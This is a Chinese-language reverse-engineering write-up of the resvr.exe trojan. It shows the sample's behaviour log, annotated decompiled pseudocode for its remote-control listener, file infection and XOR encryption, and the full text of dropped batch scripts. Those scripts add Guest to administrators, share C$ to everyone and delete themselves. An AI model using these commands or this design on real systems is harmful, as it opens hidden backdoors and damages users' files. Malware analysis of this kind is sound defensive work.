Contents
基本信息
样本名称:resvr.exe
样本MD5:5E63F3294520B7C07EB4DA38A2BEA301
样本SHA1: B45BCE0FCE6A0C3BA88A1778FA66A576B7D50895
样本行为
拷贝病毒文件resvr.exe释放到C:\Program Files (x86)\Common Files\microsoft shared\目录下设置其属性为系统属性隐藏并启动自释放文件C:\Program Files (x86)\Common Files\microsoft shared\resvr.exe。

释放隐藏文件
18:11:42:044, resvr.exe, 2520:3452, 2520, BA_extract_hidden, C:\Program Files (x86)\Common Files\microsoft shared\resvr.exe, , 0x00000000 [操作成功完成。 ],
启动自释放文件
18:11:42:544, resvr.exe, 2520:0, 2520, BA_exec_extratedfile, C:\Program Files (x86)\Common Files\microsoft shared\resvr.exe, , 0x00000000 [操作成功完成。 ],
在系统“「开始」菜单”添加程序开机启动项的快捷方式”程序\启动\水印标签系统.lnk“即将C:\Program Files\Common Files\Microsoft Shared\resvr.exe设置为开机启动项。

绑定监听端口0.0.0.0:40118
18:11:46:693, resvr.exe, 1760:3832, 2520, NET_listen, 0.0.0.0:40118, protocol:(TCP)0 , 0x00000000 [操作成功完成。 ],
在resvr.exe所在的文件路径下创建X.bat文件,然后运行X.bat文件删除resvr.exe。
18:11:42:544, resvr.exe, 2520:0, 2520, BA_extract_hidden, C:\Users\JIoHEIgOpStmMbHN\Desktop\X.bat, , 0x00000000 [操作成功完成。 ],
18:11:42:746, cmd.exe, 1628:3480, 2520, BA_self_delete, C:\Users\JIoHEIgOpStmMbHN\Desktop\resvr.exe, , 0x00000000 [操作成功完成。 ],
样本分析
Start
// positive sp value has been detected, the output may be wrong!
void __noreturn start()
{
WSAStartup(0x101u, &WSAData);
SHGetSpecialFolderPathA(0, String1, 43, 1);
lstrcatA(String1, "\\Microsoft Shared\\resvr.exe");
sub_4048FB();// "Index.dat"相关的处理
((void (__stdcall *)(int))sub_404855)(v1);
if ( sub_403F7B() )
{
Sleep(0x3E8u);
// 创建互斥 判断互斥量"40S118T2013"是否存在,以防止病毒的2次感染
if ( !sub_4048AD() )
//若互斥量"40S118T2013"不存在,就会对用户电脑里的系统逻辑盘下的文件进行遍历,对文件进行病毒的感染或者加密,然后创建socket网络连接,以用户的电脑为service服务端,病毒作者client端远程控制用户的电脑。
sub_404A51();
}
else if ( nNumberOfBytesToWrite == -1 )
{
sub_403FD2();// 复制文件
ShellExecuteA(0, "open", String1, 0, 0, 1);
sub_403E50();
}
else
{
FileA = CreateFileA(String1, 0x80000000, 3u, 0, 3u, 0x80u, 0);
if ( FileA == (HANDLE)-1 )
{
sub_403BB0(1);
}
else
{
CloseHandle(FileA);
sub_403BB0(0);
}
sub_403D86(File); // 设置监听
WSACleanup();
ShellExecuteA(0, "open", String1, 0, 0, 1);
sub_403E50(); // x.bat的自删除
}
ExitProcess(0);
}
sub_4048FB();”Index.dat”相关的处理
HANDLE sub_4048FB()
{//尝试内存映射的方式打开"Index.dat"
lstrcpyA(String1, ::String1);
*(_DWORD *)&String1[lstrlenA(String1) - 9] = 0;
lstrcatA(String1, "Index.dat");
result = CreateFileA(String1, 0xC0000000, 0, 0, 3u, 6u, 0);
if ( result != (HANDLE)-1 )
{
hFile = result;
//为指定文件创建或打开命名或未命名的文件映射对象。
FileMappingA = CreateFileMappingA(result, 0, 4u, 0, 0, 0);
if ( FileMappingA )
{
hObject = FileMappingA;
//将文件映射的视图映射到调用进程的地址空间中。
v2 = (int *)MapViewOfFile(FileMappingA, 6u, 0, 0, 0);
if ( v2 )
{
lpBaseAddress = v2;
v3 = v2;
v4 = *v2;
if ( (_WORD)v4 == 0x450 )//对比Index.dat的前两个字节
{
v5 = __ROR4__(v4, 16);
LOWORD(v5) = v5 & 0xF;
if ( (_WORD)v5 )
{
LOWORD(v5) = v5 - 1;
*v3 = __ROR4__(v5, 16);
UnmapViewOfFile(lpBaseAddress);//从调用进程的地址空间中取消映射文件的映射视图
CloseHandle(hObject);
CloseHandle(hFile);
Sleep(0x3E8u);
sub_404011(0);//提权 关机
}
}
else if ( (_WORD)v4 == 0x451 )//对比Index.dat的前两个字节
{
v6 = __ROR4__(v4, 16);
LOWORD(v6) = v6 & 0xF;
if ( (_WORD)v6 )
{
LOWORD(v6) = v6 - 1;
*v3 = __ROR4__(v6, 16);
Thread = CreateThread(0, 0, StartAddress, 0, 0, 0);// 创建对话框
CloseHandle(Thread);
}
}
UnmapViewOfFile(lpBaseAddress);
}
CloseHandle(hObject);
}
return (HANDLE)CloseHandle(hFile);
}
return result;
}
sub_404011(0); 提权 关机

StartAddress
INT_PTR __stdcall StartAddress(LPVOID lpThreadParameter)
{
if ( 60000 * (_DWORD)lpThreadParameter )
Sleep(60000 * (_DWORD)lpThreadParameter);
ModuleHandleA = GetModuleHandleA(0);
result = DialogBoxParamA(ModuleHandleA, (LPCSTR)0x3E8, 0, (DLGPROC)DialogFunc, 0);
hWnd = 0;
return result;
}
DialogFunc

sub_4048AD()创建互斥

sub_404A51()互斥不存在时的操作
若互斥量”40S118T2013″不存在,就会对用户电脑里的系统逻辑盘下的文件进行遍历,对文件进行病毒的感染或者加密,然后创建socket网络连接,以用户的电脑为service服务端,病毒作者client端远程控制用户的电脑。
void __noreturn sub_404A51()
{
sub_4039CC();//对所有系统盘里的文件进行感染
Thread = CreateThread(0, 0, sub_403A91, 0, 0, 0);////创建线程遍历"ABCDEFGHIJKLMNOPQRSTUVWXYZ"26个逻辑盘
CloseHandle(Thread);
while ( 1 )
{
sub_4033A5(0);//创建socket网络连接
Sleep(0xEA60u);
}
}
sub_4039CC()对所有系统盘里的文件进行感染
CHAR sub_4039CC()
{
RtlZeroMemory(Buffer, 128);// 例程用零填充内存块
GetLogicalDriveStringsA(0x80u, Buffer);// 获取系统盘的盘符字符串
SHGetSpecialFolderPathA(0, pszPath, 0, 0);//获取系统的文件路径"C:\Users\当前用户名\Desktop"
for ( i = Buffer; ; i += 4 )
{
while ( 1 )//对所有系统盘里的.doc、.xls、.jpg、.rar格式文件进行感染
{
Sleep(0x3E8u);
result = *i;//获取系统盘的盘符
if ( *i != pszPath[0] )//判断获取系统盘的盘符是否与Desktop相同
break;
Thread = CreateThread(0, 0, sub_4038B0, pszPath, 0, 0);//创建线程遍历文件,进行感染
CloseHandle(Thread);
i += 4;
}
if ( !result )
break;
lstrcpyA(String1, i);//String1为系统逻辑盘符字符串
v3 = CreateThread(0, 0, sub_4038B0, String1, 0, 0);//创建线程遍历文件,进行感染
CloseHandle(v3);
}
return result;
}
sub_4038B0()进行感染
病毒会对用户磁盘里的文件进行感染,并且病毒感染文件的方式有2种,感染的标识是0xAABBCCDD。若当前病毒文件的感染标识是0xAABBCCDD,进行文件的加密处理;如果没有感染标记0xAABBCCDD则对.doc、.xls、.jpg、.rar格式的文件进行感染处理。
HANDLE __stdcall sub_4038B0(const CHAR *lpThreadParameter)
{
lstrcpyA(String1, lpThreadParameter);
v1 = &String1[lstrlenA(String1)];
if ( *(v1 - 1) != '\\' )
*(_WORD *)v1 = '\\';
lstrcpyA(FileName, String1);
lstrcatA(FileName, "*.*");//得到"原文件路径\\."
result = FindFirstFileA(FileName, &FindFileData);//遍历"文件路径\\."下的文件
if ( result != (HANDLE)-1 )
{
hFindFile = result;
do
{
lstrcpyA(ThreadParameter, String1);
lstrcatA(ThreadParameter, FindFileData.cFileName);
if ( (FindFileData.dwFileAttributes & 0x10) != 0 )
{
if ( FindFileData.cFileName[0] != '.' )
sub_4038B0(ThreadParameter);//遍历文件目录
}
else
{
sub_403807(ThreadParameter, dword_402120);//遍历文件,进行感染
}
}
while ( FindNextFileA(hFindFile, &FindFileData) );
return (HANDLE)FindClose(hFindFile);
}
return result;
}
sub_403807();遍历文件,进行感染,此处体现两种感染方式
感染方式1,对用户文件的头0x400个字节进行xor异或的加密处理。
感染方式2,对对应.doc、.xls、.jpg、.rar格式的文件进行感染处理。
int __stdcall sub_403807(LPCSTR lpString, int a2)
{
int result; // eax
result = a2;
if ( a2 )
{
if ( a2 == 0xAABBCCDD )//感染标识
return (int)sub_404203(lpString); //用xor来加密用户文件
}
else
{
result = *(_DWORD *)&lpString[lstrlenA(lpString) - 4];
switch ( result )//判断文件的后缀
{//感染对应后缀的文件
case 'cod.':
return (int)sub_4035BD(lpString, 'cod.', 2);
case 'slx.':
return (int)sub_4035BD(lpString, 'slx.', 3);
case 'gpj.':
return (int)sub_4035BD(lpString, 'gpj.', 4);
case 'rar.':
return (int)sub_4035BD(lpString, 'rar.', 5);
}
}
return result;
}
sub_403A91遍历26个逻辑盘
void __stdcall __noreturn sub_403A91(LPVOID lpThreadParameter)
{
Parameter = '\\:A';//逻辑盘符A:\\
LogicalDrives = GetLogicalDrives();//获取系统的逻辑盘的类型
while ( 1 )
{
v1 = GetLogicalDrives();
v2 = LogicalDrives ^ v1;
LogicalDrives = v1;//获取单个磁盘类型
if ( v2 )//判断是否存在逻辑盘
{
v8 = v2;
Sleep(0xBB8u);
v3 = v8;
v4 = 0;
while ( v4 < 0x1B )
{
if ( (v3 & 1) != 0 )
{
v9 = v3;
v5 = Parameter;
LOBYTE(v5) = aAbcdefghijklmn[v4];//"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
Parameter = v5;
v7 = v4;
v6 = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_4038B0, &Parameter, 0, 0);//创建线程遍历"ABCDEFGHIJKLMNOPQRSTUVWXYZ"26个逻辑盘,进行感染
CloseHandle(v6);
Sleep(0x3E8u);
v4 = v7 + 1;
v3 = v9 >> 1;
}
else
{
v3 >>= 1;
++v4;
}
}
}
Sleep(0x1388u);
}
}
sub_4033A5(0);创建socket网络连接
char *__stdcall sub_4033A5(int a1)
{
result = (char *)socket(2, 1, 0);
if ( result != (char *)-1 )
{//WSADATA结构包含有关Windows套接字实现的信息
*(char **)((char *)&WSAData.lpVendorInfo + 2) = result;
RtlZeroMemory(&name, 16);
//将主机u_short转换为TCP/IP网络字节顺序(大端)
*(_WORD *)name.sa_data = htons(0x9CB6u);//端口号40118
name.sa_family = 2;
name.sa_data[2] = 0;
if ( !bind(*(SOCKET *)((char *)&WSAData.lpVendorInfo + 2), &name, 16) )
{//绑定本地套接字127.0.0.1端口号40118
listen(*(SOCKET *)((char *)&WSAData.lpVendorInfo + 2), 3);
while ( 1 )
{
v2 = accept(*(SOCKET *)((char *)&WSAData.lpVendorInfo + 2), 0, 0);//接受套接字的连接
if ( v2 == -1 )
break;
sub_4032C3(v2);//接受远控端发送的控制命令
}
}
return (char *)closesocket(*(SOCKET *)((char *)&WSAData.lpVendorInfo + 2));//关闭套接字
}
return result;
}
sub_4032C3接受远控端发送的控制命令
int __stdcall sub_4032C3(SOCKET s)
{
RtlZeroMemory(Buffer, 268);
RtlZeroMemory(&readfds, 260);
readfds.fd_count = 1;
readfds.fd_array[0] = s;
timeout.tv_usec = 0;
timeout.tv_sec = 5;
v1 = select(0, &readfds, 0, 0, &timeout);
if ( v1 != -1 )
{
if ( v1 )
{
v2 = recv(s, Buffer, 268, 0);//接受Client方发来的数据
if ( v2 != -1 && v2 && lstrlenA(&Buffer[8]) == dword_402018 )
sub_403000(s);//解析Client方发来的数据
} //根据Client方的命令对用户的电脑进行破坏
}
return closesocket(s);
}
sub_403000(SOCKET s)根据接受到的不同命令类型执行不同操作
HMODULE __stdcall sub_403000(SOCKET s)
{
result = *(HMODULE *)Buffer;
v2 = *(_DWORD *)Buffer;
switch ( *(_WORD *)Buffer )//判断控制命令
{
case 0x3EB:
return (HMODULE)send(s, buf, 4, 0);//发送4个字节的buf数据
case 0x450:
//当Buffer[2]即第3个字节大于1
if ( (Buffer[2] & 0xFu) > 1 )
sub_403226(Buffer); // 创建"Index.dat"
send(s, buf, 4, 0);
return sub_404011(v2 >> 20); // 提权关机
case 0x451:
result = (HMODULE)(Buffer[2] & 0xF);
//当Buffer[2]即第3个字节大于1
if ( (Buffer[2] & 0xFu) > 1 )
result = (HMODULE)sub_403226(Buffer); // 创建"Index.dat"
if ( !hWnd )
{
Thread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)StartAddress, (LPVOID)(v2 >> 20), 0, 0);//创建对话框
CloseHandle(Thread);
return (HMODULE)send(s, buf, 4, 0);
}
break;
case 0x455:
dword_402120 = 0xAABBCCDD;//感染文件标识为0xAABBCCDD
sub_4039CC();//遍历文件进行感染
v4 = CreateThread(0, 0, sub_403A91, 0, 0, 0);//遍历26个逻辑盘,进行感染
CloseHandle(v4);
return (HMODULE)send(s, buf, 4, 0);//发送数据
case 0x453:
v5 = CreateThread(0, 0, sub_4042AC, 0, 0, 0);// 设置来宾账户并给予权限 写入X.bat并执行
CloseHandle(v5);
return (HMODULE)send(s, buf, 4, 0);
case 0x458:
v6 = CreateThread(0, 0, sub_404677, 0, 0, 0);// 找资源载资源创建病毒文件 执行
CloseHandle(v6);
return (HMODULE)send(s, buf, 4, 0);
case 7:
v7 = CreateThread(0, 0, sub_4044C8, 0, 0, 0);//根据控制方的指令,对相应后缀的文件进行感染
return (HMODULE)CloseHandle(v7);
case 0x452:
PostMessageA(hWnd, 0x10u, 0, 0);//Places(在与创建指定窗口的线程关联的消息队列中发布)消息,并在不等待线程处理消息的情况下返回消息。向创建的弹窗投递消息。
return (HMODULE)send(s, buf, 4, 0);
case 0x454:
v8 = CreateThread(0, 0, sub_404597, 0, 0, 0);//将 开启服务 关闭 Guest帐号 自删除 写入X.bat 并执行
CloseHandle(v8);
return (HMODULE)send(s, buf, 4, 0);
}
return result;
}
sub_4042AC 设置 Guest账户并给予权限 写入X.bat并执行
X.bat
net start Server
net user Guest Guest /add
net user Guest /active:yes
net user Guest Guest
net localgroup administrators Guest /add
net share C$=C: /grant:everyone,full
net share C$=C:
del /a /f /q %0\r\nexit
sub_404677找资源载资源创建病毒文件 执行
HINSTANCE __stdcall sub_404677()
{
hModule = GetModuleHandleA(0);//获取当前模块的句柄
ResourceA = FindResourceA(hModule, (LPCSTR)0x69, (LPCSTR)0xA);//找资源
Resource = LoadResource(hModule, ResourceA);//载入资源
lpBuffer = LockResource(Resource);//锁定资源
nNumberOfBytesToWrite = SizeofResource(hModule, ResourceA);
sub_403B61(lpBuffer, 305419896, (int)&unk_40201C, dword_402018);//将源内存块的内容复制到目标内存块
hFile = CreateFileA("Message.exe", 0x40000000u, 0, 0, 2u, 6u, 0);//创建"Message.exe"文件
WriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, &NumberOfBytesWritten, 0);//写入病毒数据
CloseHandle(hFile);
return ShellExecuteA(0, "open", "Message.exe", 0, 0, 1);//执行
}
sub_404597将 开启服务 关闭 Guest帐号 自删除 写入X.bat 并执行
X.bat
net start Server
net user Guest /active:no
del /a /f /q %0
exit
sub_403E50();删除当前路径下病毒母体,结束当前病毒进程。
拷贝病毒母体自身文件resvr.exe到文件路径”C:\Program Files\Common Files\Microsoft Shared\resvr.exe”下并设置该病毒文件resvr.exe的属性为系统属性、隐藏属性。运行病毒文件”C:\Program Files\Common Files\Microsoft Shared\resvr.exe”创建病毒进程resvr.exe。在当前病毒母体resvr.exe的文件目录下创建X.bat文件,调用cmd.exe程序运行X.bat文件删除该病毒母体resvr.exe文件自身。

X.bat
Begin:
del /f /q /a \"%s\"
if exist \"%s\" goto Begin
del /a /f /q %0
exit
sub_403D86()设置监听
连接本地127.0.0.1网络监听套接字发送”7+数据”格式的命令控制用户的电脑即service端
unsigned int __stdcall sub_403D86(LPCSTR lpString2)
{
unsigned int result; // eax
char buf[4]; // [esp+0h] [ebp-120h] BYREF
int v3; // [esp+4h] [ebp-11Ch]
CHAR v4[260]; // [esp+8h] [ebp-118h] BYREF
SOCKET s; // [esp+10Ch] [ebp-14h]
struct sockaddr name; // [esp+110h] [ebp-10h] BYREF
RtlZeroMemory(buf, 268);//留出空间
*(_DWORD *)buf = 7;//buf[0]=7
lstrcpyA(v4, lpString2);
v3 = lstrlenA(v4);
result = inet_addr("127.0.0.1");//本地网络连接
if ( result != -1 )
{
*(_DWORD *)&name.sa_data[2] = result;
name.sa_family = 2;
*(_WORD *)name.sa_data = htons(0x9CB6u);//网络端口40118
s = socket(2, 1, 0);
if ( connect(s, &name, 16) != -1 )//通过端口40118发起连接请求
send(s, buf, 268, 0);//向本地套接字发送数据
return closesocket(s);
}
return result;
}
流程梳理
木马性
远控
创建socket套接字作为service端,等待client端连接。client端通过socket套接字向受害主机发送控制命令CmdMsg。创建监听绑定本地IP=127.0.0.1,端口号为40118。
本地监听套接字成功之后,等待接收client方发来的控制命令recvCmdMsgBuffer。
远控操作有9组命令,不同命令做不同操作。
sub_403000(SOCKET s)
第1组0x3EB的控制操作:
向client端发送控制操作结果的反馈信息的数据。
第2组0x450的控制操作:
创建C:\Program Files\Common Files\Microsoft Shared\Index.bat文件,系统本地提权瞬间关闭用户的计算机。
第3组0x451的控制操作:
创建C:\Program Files\Common Files\Microsoft Shared\Index.bat文件,然后创建线程用于创建用户系统桌面右下角的弹窗对话框。
第4组0x455的控制操作:
设置感染标识 0xAABBCCDD,遍历所有逻辑盘里的文件进行感染,此操作包含两种感染方式。
第5组0x453的控制操作:
创建C:\Program Files\Common Files\Microsoft Shared\X.bat。执行X.bat,创建拥有更大权限的系统登录账户Guest。
第6组0x458的控制操作:
创建线程用于获取当前病毒进程资源类型为RT_RCDATA且资源名称ResourceName = 0x69的资源数据,创建”Message.exe”文件然后运行。
第7组0x7的控制操作:
对指定的.doc、.xls、.jpg、.rar格式的文件进行感染。
第8组0x452的控制操作:
向0x451中在用户桌面右下角创建的弹窗对话框投递WM_CLOSE消息,用以关闭在用户桌面右下角创建的弹窗对话框。
第9组0x454的控制操作:
创建”C:\Program Files\Common Files\Microsoft Shared\X.bat”文件并运行X.bat文件退出 Guest系统登录账户。
感染性
文件感染方式的分析
病毒对于用户文件的感染方式有2种,分别是加密文件和感染文件传播病毒。根据病毒文件的标志位来判断,感染时采取哪种感染方式。
设置病毒进程感染文件的感染方式的标记0xAABBCCDD。
第1种感染文件的方式
当地址0x402120处的感染标记为0xAABBCCDD时,采用第一种感染文件的方式感染(加密文件的方式)。
第1种感染文件的方式的具体方法是 不对用户系统磁盘里的文件的格式进行筛选,只要是用户系统磁盘里的文件就进行加密处理。打开用户文件,创建内存映射,以先异或后加4的方式对用户文件的头0x400个字节的数据进行加密处理。
第2种感染文件的方式
当地址0x402120处没有感染标记0xAABBCCDD时,采用第2种感染文件的方式(感染文件传播病毒)。这种感染文件的方式 会对用户系统磁盘里的文件进行筛选,仅仅对用户系统磁盘里的.doc、.xls、.jpg、.rar格式的文件进行感染处理。
学习参考:
一个感染型木马病毒分析(一) – 吾爱破解 – 52pojie.cn
发表回复